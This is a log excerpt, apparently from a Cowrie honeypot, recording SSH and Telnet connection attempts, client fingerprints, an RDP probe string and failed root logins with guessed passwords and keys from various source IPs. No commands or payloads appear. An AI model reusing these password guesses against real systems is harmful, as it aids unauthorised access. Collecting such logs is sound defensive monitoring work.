{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:51.584036Z","src_ip":"77.94.47.83","session":"3bbfe4e3341f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nur","message":"login attempt [root/nur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:51.879685Z","src_ip":"43.156.97.164","session":"1ed0352cae89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petrov","message":"login attempt [root/petrov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:51.958395Z","src_ip":"77.94.47.83","session":"3bbfe4e3341f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:53.085816Z","src_ip":"77.94.47.83","session":"3bbfe4e3341f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:53.128577Z","src_ip":"43.156.97.164","session":"1ed0352cae89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40288,"dst_ip":"10.17.0.5","dst_port":23,"session":"f59a1f4a008a","protocol":"telnet","message":"New connection: 192.119.13.58:40288 (10.17.0.5:23) [session: f59a1f4a008a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:59.545494Z"}
{"eventid":"cowrie.session.closed","duration":0.5943441390991211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:00.139711Z","src_ip":"192.119.13.58","session":"f59a1f4a008a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":58863,"dst_ip":"159.203.135.109","dst_port":22,"session":"40898ab79b03","protocol":"ssh","message":"New connection: 152.42.212.128:58863 (159.203.135.109:22) [session: 40898ab79b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:00.411252Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:00.417031Z","src_ip":"152.42.212.128","session":"40898ab79b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:00.430256Z","src_ip":"152.42.212.128","session":"40898ab79b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":44188,"dst_ip":"159.203.135.109","dst_port":22,"session":"80badb90d349","protocol":"ssh","message":"New connection: 103.82.132.16:44188 (159.203.135.109:22) [session: 80badb90d349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:07.424105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:07.430138Z","src_ip":"103.82.132.16","session":"80badb90d349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:07.686680Z","src_ip":"103.82.132.16","session":"80badb90d349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u8i9o0p","message":"login attempt [root/1q2w3e4r5t6y7u8i9o0p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:08.481499Z","src_ip":"103.82.132.16","session":"80badb90d349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:09.740763Z","src_ip":"103.82.132.16","session":"80badb90d349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56522,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf93559bfdc9","protocol":"telnet","message":"New connection: 192.119.13.58:56522 (10.17.0.5:23) [session: bf93559bfdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:10.862943Z"}
{"eventid":"cowrie.session.closed","duration":42.87442111968994,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:12.729492Z","src_ip":"192.119.13.58","session":"063b59477d5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37052,"dst_ip":"10.17.0.5","dst_port":23,"session":"301e4ec36fe5","protocol":"telnet","message":"New connection: 192.119.13.58:37052 (10.17.0.5:23) [session: 301e4ec36fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:20.229487Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":49322,"dst_ip":"159.203.135.109","dst_port":22,"session":"52ad1338a6c7","protocol":"ssh","message":"New connection: 41.242.115.83:49322 (159.203.135.109:22) [session: 52ad1338a6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:21.124063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:21.133538Z","src_ip":"41.242.115.83","session":"52ad1338a6c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:21.335873Z","src_ip":"41.242.115.83","session":"52ad1338a6c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fai","message":"login attempt [root/fai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:22.174994Z","src_ip":"41.242.115.83","session":"52ad1338a6c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:23.380875Z","src_ip":"41.242.115.83","session":"52ad1338a6c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49960,"dst_ip":"10.17.0.5","dst_port":23,"session":"e183cc6086bc","protocol":"telnet","message":"New connection: 192.119.13.58:49960 (10.17.0.5:23) [session: e183cc6086bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:23.406923Z"}
{"eventid":"cowrie.session.closed","duration":40.805288791656494,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:32.200001Z","src_ip":"192.119.13.58","session":"85503c14d684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40016,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba511a2c3873","protocol":"telnet","message":"New connection: 192.119.13.58:40016 (10.17.0.5:23) [session: ba511a2c3873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:35.070703Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40656,"dst_ip":"10.17.0.5","dst_port":23,"session":"9234c4937e47","protocol":"telnet","message":"New connection: 192.119.13.58:40656 (10.17.0.5:23) [session: 9234c4937e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:35.244676Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57622,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d1f25f25e6","protocol":"telnet","message":"New connection: 192.119.13.58:57622 (10.17.0.5:23) [session: 57d1f25f25e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:39.536660Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44628,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1f9310c7eb0","protocol":"telnet","message":"New connection: 192.119.13.58:44628 (10.17.0.5:23) [session: f1f9310c7eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:43.439324Z"}
{"eventid":"cowrie.session.closed","duration":34.888259172439575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:17:45.751085Z","src_ip":"192.119.13.58","session":"bf93559bfdc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.57553815841675,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:05.804918Z","src_ip":"192.119.13.58","session":"301e4ec36fe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.29348540306091,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:10.700278Z","src_ip":"192.119.13.58","session":"e183cc6086bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":58390,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd169e626979","protocol":"ssh","message":"New connection: 43.156.97.164:58390 (159.203.135.109:22) [session: cd169e626979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:12.499883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:12.504661Z","src_ip":"43.156.97.164","session":"cd169e626979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.56412100791931,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:12.634653Z","src_ip":"192.119.13.58","session":"ba511a2c3873","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:12.750867Z","src_ip":"43.156.97.164","session":"cd169e626979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.28871965408325,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:13.533287Z","src_ip":"192.119.13.58","session":"9234c4937e47","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"clayton","message":"login attempt [root/clayton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:13.768944Z","src_ip":"43.156.97.164","session":"cd169e626979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:15.020075Z","src_ip":"43.156.97.164","session":"cd169e626979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.12639594078064,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:17.662948Z","src_ip":"192.119.13.58","session":"57d1f25f25e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42662,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a768ab6a3e9","protocol":"telnet","message":"New connection: 192.119.13.58:42662 (10.17.0.5:23) [session: 0a768ab6a3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:18.705410Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44746,"dst_ip":"10.17.0.5","dst_port":23,"session":"2548e317fd2b","protocol":"telnet","message":"New connection: 192.119.13.58:44746 (10.17.0.5:23) [session: 2548e317fd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:19.266791Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45806,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad570d921677","protocol":"telnet","message":"New connection: 192.119.13.58:45806 (10.17.0.5:23) [session: ad570d921677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:19.558960Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.33.66","src_port":57254,"dst_ip":"10.17.0.5","dst_port":22,"session":"59b2931716c4","protocol":"ssh","message":"New connection: 148.135.33.66:57254 (10.17.0.5:22) [session: 59b2931716c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:23.672359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:23.677590Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:23.750067Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32948,"dst_ip":"10.17.0.5","dst_port":23,"session":"070d26bd46b3","protocol":"telnet","message":"New connection: 192.119.13.58:32948 (10.17.0.5:23) [session: 070d26bd46b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:23.767807Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:4f:39:e0:f5:1a:15:d5:16:75:74:bc:33:52:1f:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyMgK4UH3USWacP0Iut9cQ3Zye+OIy0UPQgg0ERJa46DRI/1vgH9Gd2IqH1QC9snla/ZJl4r85FKGhf/5zitbHpg9412el0BWoWJuDy767lA3XGKqlz7OEZuCZ/C1CZPXndhevcGd58y7djziwpUYR8v6AskqbQufmY8HLkvbOoWsS2XZqE2fdUItnKpNFhzzmxghQGpV0sCXUqcTFmBl6qJp17j+o0NKUW4J7KkweLquK3xa6Ns19HjJCDhusjFK6drJg0XewN2N7iZUWF3dBWi/3tJ0L48L+1YOcpUzuN4Y8abWuRtirmqRXW4wK+oLLGGScBnoywsk85fmTg3dj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:4f:39:e0:f5:1a:15:d5:16:75:74:bc:33:52:1f:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.080441Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:4f:39:e0:f5:1a:15:d5:16:75:74:bc:33:52:1f:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyMgK4UH3USWacP0Iut9cQ3Zye+OIy0UPQgg0ERJa46DRI/1vgH9Gd2IqH1QC9snla/ZJl4r85FKGhf/5zitbHpg9412el0BWoWJuDy767lA3XGKqlz7OEZuCZ/C1CZPXndhevcGd58y7djziwpUYR8v6AskqbQufmY8HLkvbOoWsS2XZqE2fdUItnKpNFhzzmxghQGpV0sCXUqcTFmBl6qJp17j+o0NKUW4J7KkweLquK3xa6Ns19HjJCDhusjFK6drJg0XewN2N7iZUWF3dBWi/3tJ0L48L+1YOcpUzuN4Y8abWuRtirmqRXW4wK+oLLGGScBnoywsk85fmTg3dj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.084709Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:26:c4:3b:83:0c:1c:c4:02:87:cb:32:a8:bc:1b:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSeCK376JCWtcH3Rt/5YmWQbUX9cdt8FWLE3pQPNh0gmZo3VqxF17O22J3nWyvH6VOsXv4nlqJlFqP4oyzpI+OoCMN4kxjZJeXKXmjIefaNTRC3T2zEqqXSho0P1X9Xj3YIr0+Amw5cGZupGdB5oFA+R0QT52EN0gVlO38eothFdHd6qxlHze3kT9YkNc5jwharorUW5g08tSTrJUMHP79H7TETTGwCIGZBYTW8RwvjehLR7W7TorIbpG7pwbJr4VeKR9QJr23922xHOXgnYPo39XmDsb4rvE8O6oTX36JFMZUVuPHAFdpqBv517gCm6HqnkgEgf5uI+bOCJQxDCbv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:26:c4:3b:83:0c:1c:c4:02:87:cb:32:a8:bc:1b:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:18:24.163899Z","src_ip":"148.135.33.66","session":"59b2931716c4","protocol":"ssh"}
